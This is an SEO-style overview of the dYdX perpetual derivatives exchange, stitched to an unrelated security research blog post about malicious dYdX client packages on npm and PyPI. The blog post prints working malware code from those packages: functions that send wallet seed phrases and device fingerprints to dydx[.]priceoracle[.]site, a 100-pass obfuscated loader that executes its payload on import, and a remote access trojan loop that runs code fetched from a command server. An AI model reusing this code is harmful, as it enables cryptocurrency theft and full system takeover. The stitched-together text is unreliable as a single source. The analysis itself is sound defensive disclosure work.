Dydx exchange Is a perpetual trading DEX overview

Dydx exchange Is a decentralized crypto derivatives venue where users can trade perpetual contracts through a wallet-connected interface rather than a traditional broker account. It is built for traders who want exposure to crypto price movements, margin, leverage, and on-chain or protocol-based settlement, but it also requires careful risk management. Dydx exchange is not a simple buy-and-hold app; it is a specialized exchange for perpetual trading, fees, funding rates, liquidations, and self-custody workflows.

Dydx exchange matters because perpetual contracts are one of the most active areas of digital asset trading. A perpetual contract tracks the price of an asset without a fixed expiry date, so traders can go long or short while managing collateral and margin. The appeal is flexibility, but the tradeoff is complexity. Dydx exchange should be approached as a professional-style trading tool, not as a guaranteed way to earn returns.

What is Dydx exchange?

Dydx exchange is best understood as a decentralized exchange focused on derivatives, especially crypto perpetuals. Unlike a basic spot market where a user swaps one token for another, Dydx exchange lets users trade contracts that represent price exposure. The user may never take delivery of the underlying asset. Instead, profit and loss move with the contract price, margin balance, and funding mechanics.

Dydx exchange is associated with the broader dYdX ecosystem, which has evolved through multiple versions and infrastructure models. Readers may see references to dYdX v3, dYdX v4, app interfaces, validators, governance, client libraries, and the DYDX token. Those terms can be confusing because they refer to different parts of the ecosystem. Dydx exchange, as users usually search for it, means the trading venue and user workflow rather than only the token or developer tooling.

Dydx exchange is often compared with centralized futures exchanges because both offer perpetual markets, order books, market and limit orders, margin, and liquidation rules. The difference is that Dydx exchange is designed around decentralized finance principles, wallet authentication, and protocol-level transparency. That does not remove risk. It changes where the trust assumptions sit, from a single exchange account toward smart contracts, validators, interfaces, wallets, bridges, and software dependencies.

How does Dydx exchange work?

Dydx exchange works by matching traders who want long or short exposure to crypto markets. A trader deposits or connects collateral, chooses a market, enters an order, and manages the position over time. The platform calculates margin requirements, unrealized profit and loss, funding payments, and liquidation thresholds. When the market moves against a leveraged position far enough, the position can be closed automatically to protect the system from unpaid losses.

The protocol uses an order-book model rather than a simple automated market maker pool. That distinction matters. On many DeFi swaps, liquidity comes from token pools and prices shift according to a curve. On Dydx exchange, traders usually interact with bids, asks, order size, maker and taker behavior, and execution quality. This feels more familiar to active traders coming from professional crypto or traditional derivatives platforms.

Dydx exchange also involves funding rates, which are periodic payments between long and short traders. Funding helps keep the perpetual contract price close to the underlying index price. If one side of the market is crowded, that side may pay the other. A profitable-looking position can become less attractive if funding costs are high, so users should check funding before opening or holding a trade.

In practice, Dydx exchange combines several layers: wallet access, collateral management, order placement, settlement, risk engines, market data, and governance or network operations. A retail user may only see the trading interface, but developers and algorithmic traders may interact with APIs or client software. That wider software surface is useful, yet it also means security practices matter beyond the visible website.

Who uses Dydx exchange and why?

Dydx exchange is mainly used by people who want more than spot token swaps. Active traders use it to express short-term views on Bitcoin, Ethereum, Solana, and other supported crypto markets. Portfolio managers may use perpetuals to hedge exposure. Market makers may quote both sides of an order book. Developers may build tools for analytics, automated trading, or risk monitoring.

Dydx exchange can be useful when a trader wants to short an asset without borrowing it directly, or when a trader wants to hedge a spot portfolio during volatile conditions. For example, someone holding a large crypto position might open a smaller short perpetual to reduce downside exposure. That is still risky, because basis, funding, execution, and liquidation mechanics can behave unexpectedly during fast markets.

Dydx exchange also attracts users who prefer wallet-based access and DeFi transparency. A trader does not need to treat the experience exactly like a centralized account, although they still need to understand onboarding, network fees, supported collateral, and regional availability. Anyone comparing exchange choices can also review broader concepts, because the same basic questions apply: what markets are available, how fees work, how custody is handled, and what happens during outages.

How to get started with Dydx exchange

Dydx exchange onboarding usually begins with research rather than a deposit. A new user should confirm the correct official interface, check supported jurisdictions, read current fee and market documentation, and understand how collateral is handled. Crypto interfaces and lookalike domains can be dangerous, so typing from memory or following random ads is a poor habit. Verify the address through official channels before connecting a wallet.

Dydx exchange then requires a wallet and suitable collateral. The exact wallet, network, and deposit route can change as the ecosystem evolves, so users should not rely on old screenshots or outdated tutorials. Once connected, the interface may ask for permissions, signatures, or account setup actions. Read prompts carefully. A signature can be harmless authentication, but some malicious prompts can approve unwanted token movement.

A practical beginner workflow is deliberately slow:

  1. Confirm the current official Dydx exchange interface and documentation.
  2. Connect a wallet with only the funds intended for trading.
  3. Review supported markets, collateral rules, fees, and funding rates.
  4. Place a small test order before considering larger size.
  5. Set alerts or monitoring habits for margin, liquidation price, and open orders.
  6. Withdraw unused funds when they are not needed for active positions.

Dydx exchange is easier to understand when users separate account setup from trading decisions. Connecting a wallet is not the same as having a risk plan. Depositing collateral is not the same as deciding position size. Opening a position is not the same as knowing where to exit. For a new user, the safest first goal is learning the workflow with minimal exposure.

Fees, funding, and costs on Dydx exchange

Dydx exchange costs can include trading fees, funding payments, network fees, bridge costs, spread, slippage, and possible liquidation penalties. Trading fees often depend on whether an order adds liquidity as a maker or removes liquidity as a taker. A market order can be convenient, but it may cross the spread and pay taker fees. A limit order can control price, but it may not fill.

Dydx exchange users should pay special attention to funding because it changes over time. A long position can pay shorts during one period and receive funding during another, depending on market imbalance. Funding is not a hidden fee, but it can become a major holding cost for leveraged positions. It is one reason perpetual trading is not the same as simply buying a token and waiting.

Dydx exchange may also involve costs that are not obvious in a headline fee table. Moving funds between chains or wallets can require network transactions. Fast markets can create slippage. Thin markets can have wider spreads. Liquidation can close a position at a painful moment. Before trading, users should verify current fee schedules and market details with official sources because crypto exchange parameters can change.

Benefits of Dydx exchange for perpetual traders

Dydx exchange offers a focused environment for traders who want derivatives tools without using a fully custodial futures platform. The main benefit is access to long and short perpetual markets through DeFi-style infrastructure. For experienced users, this can support hedging, tactical trading, arbitrage research, and systematic strategies.

Dydx exchange can also provide transparency around markets, orders, and protocol rules. Depending on the current version and infrastructure, users may be able to inspect more of the system than they could on a closed centralized venue. That transparency is valuable, but it does not automatically make every trade fair, profitable, or safe. Market structure still matters, and traders still compete with sophisticated participants.

Dydx exchange is particularly relevant for users who care about self-custody principles. Keeping control of a wallet can reduce certain custodial risks, but it increases personal responsibility. If a user loses a seed phrase, signs a malicious transaction, installs compromised trading software, or sends funds to the wrong network, there may be no support desk that can reverse the mistake.

Dydx exchange perpetual trading dashboard illustration

Is Dydx exchange safe?

Dydx exchange can be part of a serious trading workflow, but no DeFi platform should be described as risk-free. Safety depends on smart contract design, network operations, interface integrity, wallet hygiene, market liquidity, and the user’s own decisions. The existence of decentralization does not remove operational risk; it distributes risk across more components.

Dydx exchange users should understand liquidation risk first. Leverage magnifies both gains and losses. A position can be closed even if the trader’s long-term market view later proves correct. During sharp volatility, liquidation prices can be reached quickly, spreads can widen, and stop orders may execute worse than expected. This is why position sizing and collateral buffers matter.

Dydx exchange also sits in an ecosystem where software supply chain risk is real. Developer packages, wallet tools, browser extensions, and automation scripts can become attack targets. Traders who run bots or custom integrations should pin dependencies, monitor security notices, avoid placing seed phrases in server environments, and isolate signing keys. For ordinary users, the equivalent discipline is simpler: use trusted wallets, verify URLs, and keep trading funds separate from long-term holdings.

Dydx exchange risk also includes phishing and impersonation. Search ads, social posts, and copied interfaces can lead users to malicious pages. A careful user checks official channels, avoids urgent prompts, and treats unexpected signature requests as suspicious. The correct attitude is not fear; it is verification. Crypto trading rewards speed in markets, but wallet security rewards patience.

Dydx exchange compared with other exchange choices

Dydx exchange is not the only way to trade crypto. A centralized exchange may offer fiat deposits, customer support, deep liquidity, and familiar account recovery. A spot DEX may be simpler for token swaps. A lending protocol may be better suited for borrowing or earning variable yield. Dydx exchange is most relevant when the user specifically wants perpetual derivatives in a decentralized or wallet-connected environment.

Dydx exchange comparisons should focus on practical tradeoffs rather than slogans. Centralized exchanges concentrate custody and account risk, but they may be easier for beginners. Automated market maker DEXs can be simple for swaps, but they do not provide the same order-book derivatives experience. Other DeFi derivatives platforms may support different chains, collateral types, or market listings. The right venue depends on liquidity, fees, risk controls, and user competence.

Choice Typical strength Main caution
Dydx exchange Perpetual contracts, long and short trading, wallet-based access Leverage, liquidation, funding, and self-custody risk
Centralized futures exchange Convenient onboarding and often deep liquidity Custody, account restrictions, and platform solvency risk
Spot decentralized exchange Direct token swaps through a wallet No native short exposure and possible slippage
Lending protocol Borrowing, lending, and collateralized DeFi positions Interest-rate changes, liquidation, and smart contract risk

Dydx exchange can make sense for a trader who already understands order types, collateral, and volatility. It may be a poor fit for someone who is only trying to buy a first crypto asset. For beginners, learning spot markets, wallet safety, and basic practices usually comes before leveraged perpetual trading.

What should users verify before using Dydx exchange?

Dydx exchange details can change, so the most important habit is verification. Users should check the current official domain, supported networks, margin rules, market list, fee schedule, funding display, and any restrictions that apply to their location. They should also review recent security announcements before connecting a wallet or updating developer dependencies.

Dydx exchange users should verify that they understand each order before submitting it. A reduce-only order, stop order, market order, and post-only limit order can behave differently. A trader should know whether an action opens a new position, adds to an existing one, closes exposure, or changes liquidation risk. Small mistakes become expensive when leverage is involved.

Dydx exchange also rewards record keeping. Active traders should track deposits, withdrawals, realized profit and loss, fees, funding, and taxable events where relevant. This page does not provide legal, tax, or financial advice, but it is reasonable to say that derivatives trading creates records users may need later. Good documentation is part of responsible trading.

Closing thoughts on Dydx exchange

Dydx exchange is a powerful decentralized derivatives platform for users who want perpetual trading, short exposure, hedging tools, and order-book execution in a crypto-native environment. Its strengths are most meaningful for people who understand margin and can manage operational security. Its risks are most dangerous for people who treat leverage as a shortcut.

Dydx exchange should be evaluated with the same seriousness as any financial trading venue. Read the current official materials, start small if you are learning, protect wallet credentials, and never assume that decentralization eliminates loss. Used carefully, Dydx exchange can be a useful tool for sophisticated crypto market participation. Used casually, it can expose a user to fast losses, preventable security errors, and confusing costs.

Reader rating: 4.5 / 5 based on 198 ratings

Questions and Answers

What is Dydx exchange used for?

Dydx exchange is used for trading crypto perpetual contracts, which let traders take long or short exposure without a fixed expiry date. It is mainly suited to users who understand margin, funding rates, order books, and liquidation risk. It is not just a simple token swap tool, and it should not be treated as a guaranteed way to make money.

Is Dydx exchange a centralized or decentralized exchange?

Dydx exchange is generally described as a decentralized derivatives exchange because it is built around crypto-native infrastructure and wallet-based access rather than a standard custodial brokerage account. However, users should still examine the current version, interface, validators, APIs, and operational dependencies. Decentralized design reduces some risks but does not remove smart contract, software, phishing, or market risk.

Can beginners use Dydx exchange safely?

Beginners can learn the interface, but Dydx exchange is a high-risk place to start because perpetual trading involves leverage, funding costs, and liquidation mechanics. A cautious beginner should first understand wallets, spot markets, order types, and collateral management. If they test the platform, they should use small amounts, verify official sources, and avoid trades they cannot explain.

What fees should users check on Dydx exchange?

Users should check maker and taker trading fees, funding rates, network costs, deposit or bridge costs, spreads, slippage, and any liquidation-related charges. The headline trading fee is only one part of the total cost. Because fee schedules and market conditions can change, users should verify current details through official Dydx exchange materials before placing trades.

What are the main risks of Dydx exchange?

The main risks include liquidation from leverage, volatile funding rates, slippage during fast markets, smart contract or infrastructure issues, wallet compromise, phishing, and mistakes when signing transactions. Developers and bot operators also face software supply chain risks. Users should separate trading funds from long-term holdings, verify URLs, and avoid exposing seed phrases or private keys.

How is Dydx exchange different from a spot DEX?

A spot DEX usually helps users swap one token for another, while Dydx exchange focuses on perpetual derivatives. That means users can trade long or short price exposure with margin, but they also face funding payments and liquidation risk. The experience is closer to a crypto futures exchange than a basic automated token swap.

Does Dydx exchange guarantee profits?

No. Dydx exchange does not guarantee profits, and no legitimate trading venue can promise safe returns from leveraged crypto derivatives. Perpetual contracts can move quickly against a position, and leverage can amplify losses. Users should treat the platform as a risk tool for experienced trading, not as a passive income product or easy money strategy.

Search on Youtube!

Dydx exchange

Privacy Policy

Terms of Service

Refund Policy

Dydx exchange

Big News: Socket raises $60M Series C at a $1B valuation to secure software supply chains for AI-driven development. Announcement →
Sign In
Blog

Malicious dYdX Packages Published to npm and PyPI After Maintainer Compromise

Malicious dYdX client packages were published to npm and PyPI after a maintainer compromise, enabling wallet credential theft and remote code execution.

Kush Pandya

February 6, 2026

8 min read

Summarize with AI

Socket's Threat Research Team discovered a supply chain attack targeting the dYdX protocol package across npm and PyPI ecosystems. The dYdX protocol is a decentralized exchange for cryptocurrency derivatives trading. The @dydxprotocol/v4-client-js (npm) and dydx-v4-client (PyPI) packages provide developers with tools to interact with the dYdX v4 protocol, including transaction signing, order placement, and wallet management. Applications using these packages handle sensitive cryptocurrency operations.

The compromised versions affected both the JavaScript and Python ecosystems with different payloads, targeting the two most common languages for trading automation and quantitative finance development.

npm: Cryptocurrency wallet stealer that exfiltrates seed phrases and device fingerprints.

PyPI: Wallet stealer plus Remote Access Trojan (RAT) enabling arbitrary code execution.

Compromised Versions:

npm ( @dydxprotocol/v4-client-js ):

  • 3.4.1
  • 1.22.1
  • 1.15.2
  • 1.0.31

PyPI ( dydx-v4-client ):

  • 1.1.5post1

dYdX is one of the largest decentralized derivatives exchanges, processing over $1.5 trillion in lifetime trading volume with daily trading volume averaging $200-540 million and approximately $175 million in open interest. The platform supports 240+ perpetual trading markets and has over 70,700 token holders. These packages are used by trading bots, portfolio management tools, market makers, algorithmic traders, and DeFi applications that integrate dYdX's trading infrastructure. Applications that use these packages in custodial contexts such as trading bots, automated strategies, or backend services that directly handle mnemonics or private keys for signing, are high-value targets for credential theft.

The legitimate dYdX exchange at dydx[.]xyz . The threat actor's typosquatting domain dydx[.]priceoracle[.]site was designed to appear related to this trusted service.

The compromised versions affected both the JavaScript and Python ecosystems with different payloads, targeting the two most common languages for trading automation and quantitative finance development.

npm: Cryptocurrency wallet stealer that exfiltrates seed phrases and device fingerprints.

PyPI: Wallet stealer plus Remote Access Trojan (RAT) enabling arbitrary code execution.

Compromised Versions:

npm ( @dydxprotocol/v4-client-js ):

  • 3.4.1
  • 1.22.1
  • 1.15.2
  • 1.0.31

PyPI ( dydx-v4-client ):

  • 1.1.5post1

The attack appears consistent with developer account compromise, though this has not been confirmed. Multiple malicious versions were published simultaneously to both ecosystems using legitimate publishing credentials, with the malware embedded deep within authentic package structures rather than added as external dependencies. The threat actor demonstrated detailed knowledge of the package internals, inserting malicious code into core registry files ( registry.ts , registry.js , account.py ) that would execute during normal package usage. The 100-iteration obfuscation in the PyPI version and the coordinated cross-ecosystem deployment suggest the threat actor had direct access to publishing infrastructure rather than exploiting a technical vulnerability in the registries themselves.

This attack is not an isolated event. Over the past several years, threat actors have repeatedly targeted dYdX-related infrastructure and packages through different attack vectors, including supply chain compromise and domain-level attacks.

September 2022: npm Supply Chain Compromise

In September 2022, multiple npm packages used by cryptocurrency exchanges, including packages associated with the dYdX ecosystem, were compromised after a maintainer’s npm account was taken over. The malicious versions embedded install-time scripts that fetched and executed external payloads during installation.

The malware targeted developer environments, exfiltrating sensitive data such as environment variables, AWS credentials, GitHub tokens, and SSH keys. At least dozens of downstream crypto projects were impacted before the malicious packages were removed. dYdX confirmed at the time that its core smart contracts and exchange infrastructure were not compromised, and that the incident was limited to affected npm packages published via compromised credentials.

July 2024: DNS Hijacking of dYdX v3 Website

In July 2024, the dYdX v3 website was compromised in a DNS hijacking attack that redirected users to a phishing site. The malicious site prompted users to sign PERMIT2 transactions designed to drain wallets. This incident targeted end users through domain infrastructure rather than software packages or developer tooling.

While the 2024 attack affected the dYdX v3 web frontend, the current incident directly compromises the dYdX v4 client libraries that developers integrate into their applications, marking a significant escalation in scope and impact.

Socket's AI Scanner flagged the compromised dYdX package identifying malware that steals cryptocurrency credentials.

Socket identified malicious behavior in these packages on January 27, 2026. Based on internal analysis across the affected releases, the malicious packages were detected within minutes of publication, with discovery timestamps clustered around January 27, 2026 (UTC).

Socket notified the dYdX team of the compromised packages on January 28, 2026 at approximately 12:19 UTC (4:19 AM PST), providing details of the malicious behavior and affected versions. Later that day, following our disclosure of the compromise to the dYdX project, dYdX publicly acknowledged the incident via their official X (Twitter) account , warning users about the malicious package uploads.

npm Package: Credential Theft #

The npm package embeds a malicious createRegistry() function in registry.ts , registry.js , and another identical registry.js in a different file path. When developers integrate this package and pass a user's seed phrase to createRegistry() , the function exfiltrates it alongside a device fingerprint. Following are the code snippets with inline comments added by our team for clarity.

export async function createRegistry(phrase: string) {
  try {
    const uid = getDeviceUuid();
    await fetch("https://dydx[.]priceoracle[.]site/v4/price", {
      method: "POST",
      body: JSON.stringify({
        phrase,              // Victim's seed phrase
        "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
        uid                  // Device fingerprint
      })
    })
  } catch { }
}

The empty catch block silences network errors, preventing console warnings during testing. The exfiltration domain dydx[.]priceoracle[.]site mimics the legitimate dYdX service at dydx[.]xyz through typosquatting.

Device Fingerprinting #

The malware generates a unique identifier from system information:

function getDeviceUuid() {
  try {
    const parts = [];
    parts.push(getMacLikeUuidNode());      // MAC address
    parts.push(os.hostname());              // Hostname
    parts.push(os.platform());              // OS platform
    parts.push(os.release());               // OS version
    parts.push(os.arch());                  // Architecture
    parts.push(fs.readFileSync("/etc/machine-id", "utf8").trim());
    parts.push(process.env.HOSTNAME || "");
    parts.push(process.env.COMPUTERNAME || "");

    const fingerprint = parts.join("|");
    const digest = crypto.createHash("sha256").update(fingerprint, "utf8").digest();
    const b = Buffer.from(digest.subarray(0, 16));
    b[6] = (b[6] & 0x0f) | 0x40;
    b[8] = (b[8] & 0x3f) | 0x80;
    return formatUuidFromBytes(b);
  } catch {
    return "00000000-0000-0000-0000-000000000000"
  }
}

The fingerprint allows the threat actor to correlate stolen credentials with specific machines and track victims across multiple compromises.

PyPI Package: Credential Theft + Remote Access Trojan #

The PyPI package includes the same credential theft mechanism plus an additional Remote Access Trojan hidden inside an encrypted payload. The RAT enables arbitrary code execution on victim systems.

Credential Theft

The PyPI package embeds credential theft inside account.py as a function named list_prices() . The function claims to query trading prices but exfiltrates seed phrases:

def list_prices(self, phrase: str) -> Any:
    """
    Query for prices for trading.
    Args:
        phrase (str): The account phrase
    Returns:
        Any: The aggregated list of price.
    """
    # Device fingerprinting (same logic as npm version)
    parts = []
    parts.append(str(uuid.getnode()))          # MAC address
    parts.append(socket.gethostname())
    parts.append(platform.system())
    parts.append(platform.release())
    parts.append(platform.machine())
    if os.path.exists("/etc/machine-id"):
        parts.append(open("/etc/machine-id").read().strip())
    parts.append(os.getenv("HOSTNAME", ""))
    parts.append(os.getenv("COMPUTERNAME", ""))

    fingerprint = "|".join(parts)
    digest = hashlib.sha256(fingerprint.encode()).hexdigest()
    b = bytearray.fromhex(digest[:32])
    b[6] = (b[6] & 0x0F) | 0x40
    b[8] = (b[8] & 0x3F) | 0x80
    uid = str(uuid.UUID(bytes=bytes(b)))

    r = requests.post(
        self.host + "/v4/price",
        json={
            "phrase": phrase,
            "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
            "uid": uid
        },
        timeout=20
    )
    r.raise_for_status()
    return r.text

The device fingerprinting logic mirrors the npm implementation with minor adjustments for Python's standard library.

Remote Access Trojan Payload #

The PyPI package includes three additional files not present in the npm version:

  • config.py : Contains the encrypted RAT payload in a variable named GENSIS_BLOCKS
  • _bootstrap.py : Auto-executes the payload when the package is imported
  • Deobfuscated RAT: Contacts the C2 server for arbitrary code execution

Payload Obfuscation

The GENSIS_BLOCKS variable holds a 5,527-character base64-encoded blob. The _bootstrap.py file deobfuscates it using 100 iterations of: reverse string → base64 decode → zlib decompress (wbits=47).

import base64 as b, gzip as g, zlib as z
from functools import reduce
from .config import GENSIS_BLOCKS

_initialized = False

def D(s):
    """Single deobfuscation pass"""
    try:
        return z.decompress(b.b64decode(s[::-1]+"==="), 47).decode("utf8", "replace")
    except:
        raise

def init():
    global _initialized
    if _initialized:
        return
    _initialized = True

    # Apply 100 deobfuscation iterations
    dz = lambda s, n: reduce(lambda a, _: D(a), range(n), s)
    ns = {}
    exec(dz(GENSIS_BLOCKS, 100), ns)  # Execute deobfuscated payload

The init() function runs automatically on first import, executing the RAT silently in the background.

RAT Functionality

The deobfuscated payload reveals a Remote Access Trojan that contacts https://dydx[.]priceoracle[.]site/py for commands:

def main() -> None:
    payload_data = {
        "uid": str(uuid.uuid4())
    }
    file_data = {"file": {"name": "t.py"}}
    payload_data["data"] = json.dumps(file_data)

    while True:
        response = send_post_request(
            f"https://dydx[.]priceoracle[.]site/py",
            payload_data
        )
        if response != "":
            run_script_async(response)  # Execute code from server
            time.sleep(5)
            break
        else:
            time.sleep(10)

# Start RAT in background daemon thread
t = threading.Thread(target=main, daemon=True, name="async-main-runner")
t.start()

The RAT:

  • Runs as a background daemon thread
  • Beacons to the C2 server every 10 seconds
  • Receives Python code from the server
  • Executes it in an isolated subprocess with no visible output
  • Uses a hardcoded authorization token: 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75
def send_post_request(server_url: str, payload_data: Dict[str, Any]) -> str:
    req = urllib.request.Request(
        url=server_url,
        data=json.dumps(payload_data).encode("utf-8"),
        headers={
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "Authorization": "490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75"
        },
        method="POST",
    )
    # ... executes with disabled SSL verification

The run_script_async() function creates temporary files containing the received code, executes them with all stdio redirected to /dev/null , and deletes the files afterward. On Windows, it uses the CREATE_NO_WINDOW flag to hide the process entirely.

Malicious Infrastructure #

The threat actor registered priceoracle[.]site on January 9, 2026, approximately 3 weeks before the compromise. The domain mimics legitimate price oracle services commonly used in cryptocurrency trading, while the dYdX subdomain creates false association with the dYdX protocol.

Domain registration details for priceoracle[.]site showing the threat actor registered the infrastructure on January 9, 2026.

The malicious infrastructure serves two endpoints:

  • https://dydx[.]priceoracle[.]site/v4/price - Credential exfiltration (npm & PyPI)
  • https://dydx[.]priceoracle[.]site/py - RAT command & control (PyPI only)

The domain status shows "server transfer prohibited" and "client hold," indicating it has likely been seized or locked following abuse reports. However, the threat actor may have already exfiltrated stolen credentials and established persistent RAT access on compromised systems before the domain was disabled.

The recent registration date (less than a month before the attack) and the typosquatting approach (mimicking "oracle" services rather than "dydx" directly) suggest this was purpose-built infrastructure for the campaign.

Impact #

Every application using the compromised npm versions is at risk if createRegistry() receives a seed phrase. Direct impact includes complete wallet compromise and irreversible cryptocurrency theft. The attack scope includes all applications depending on the compromised versions and both developers testing with real credentials and production end-users.

PyPI users face complete system compromise beyond wallet theft. The RAT allows threat actor to:

  • Execute arbitrary Python code with user privileges
  • Steal SSH keys, API credentials, and source code
  • Install persistent backdoors
  • Exfiltrate sensitive files
  • Monitor user activity
  • Modify critical files
  • Pivot to other systems on the network

The RAT runs silently as a daemon thread with no console output. Victims have no visibility into what commands were executed or what data was stolen. The compromise persists as long as any Python process imports the malicious package.

For enterprise environments, the device fingerprinting component reveals system configuration details, hostnames, and network topology information that could facilitate targeted attacks.

Outlook and Recommendations #

Viewed alongside the 2022 npm supply chain compromise and the 2024 DNS hijacking incident, this attack highlights a persistent pattern of adversaries targeting dYdX-related assets through trusted distribution channels. The threat actor simultaneously compromised packages in both npm and PyPI ecosystems, expanding the attack surface to reach JavaScript and Python developers working with dYdX. The PyPI version deploys significantly more dangerous capabilities through the RAT payload, suggesting the threat actor invested additional effort to maximize impact on Python users.

The nearly identical credential theft implementations across languages indicate deliberate planning. The threat actor maintained consistent exfiltration endpoints, API keys, and device fingerprinting logic while deploying ecosystem-specific attack vectors. The npm version focuses on credential theft, while the PyPI version adds persistent system access.

The RAT's multi-stage obfuscation (100 iterations of reverse → base64 → zlib) and silent background execution demonstrate technical proficiency. The use of daemon threads, disabled SSL verification, and hidden subprocess execution indicates experience with stealth operations.

Developer account compromise allows threat actors to inject malicious code into trusted packages, bypassing standard security reviews. This attack follows patterns seen in event-stream (2018), coa/rc (2021), and node-ipc (2022), but represents an escalation through multi-ecosystem deployment and arbitrary code execution capabilities.

Similar attacks will continue targeting high-value cryptocurrency packages across all major ecosystems. Development teams should treat all dependencies handling sensitive credentials as high-risk and implement defense-in-depth strategies including automated scanning, network monitoring, and least-privilege access controls.

Socket provides multiple layers of defense against supply chain attacks like this dYdX compromise. When developers browse package registries, the Socket browser extension identifies suspicious packages and typosquatting domains before installation. During development, the Socket GitHub App analyzes dependencies in pull requests, detecting credential exfiltration, obfuscated payloads, and malicious network calls before code merges. At install time, the Socket CLI blocks packages exhibiting dangerous behaviors and enforces security policies across the development pipeline. For production environments, Socket Firewall prevents package managers from downloading compromised versions entirely, blocking both direct dependencies and their transitive dependencies. When using AI coding assistants, Socket MCP validates package suggestions in real-time, preventing tools from recommending malicious versions or hallucinated packages.

MITRE ATT&CK #

  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1059.006 — Command and Scripting Interpreter: Python
  • T1071.001 — Application Layer Protocol: Web Protocols
  • T1027 — Obfuscated Files or Information
  • T1082 — System Information Discovery
  • T1041 — Exfiltration Over C2 Channel
  • T1005 — Data from Local System

Indicators of Compromise (IOCs) #

Malicious Endpoints

  • https://dydx[.]priceoracle[.]site
  • https://dydx[.]priceoracle[.]site/v4/price
  • https://dydx[.]priceoracle[.]site/py

Malicious Packages

  • npm: @dydxprotocol/v4-client ( v1.0.31, v1.15.2, v1.22.1, v3.4.1 )
  • PyPI: dydx-v4-client ( v1.1.5post1 )

Hardcoded Credentials

  • Credential theft API key: dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c
  • RAT authorization token: 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Related posts

Back to all posts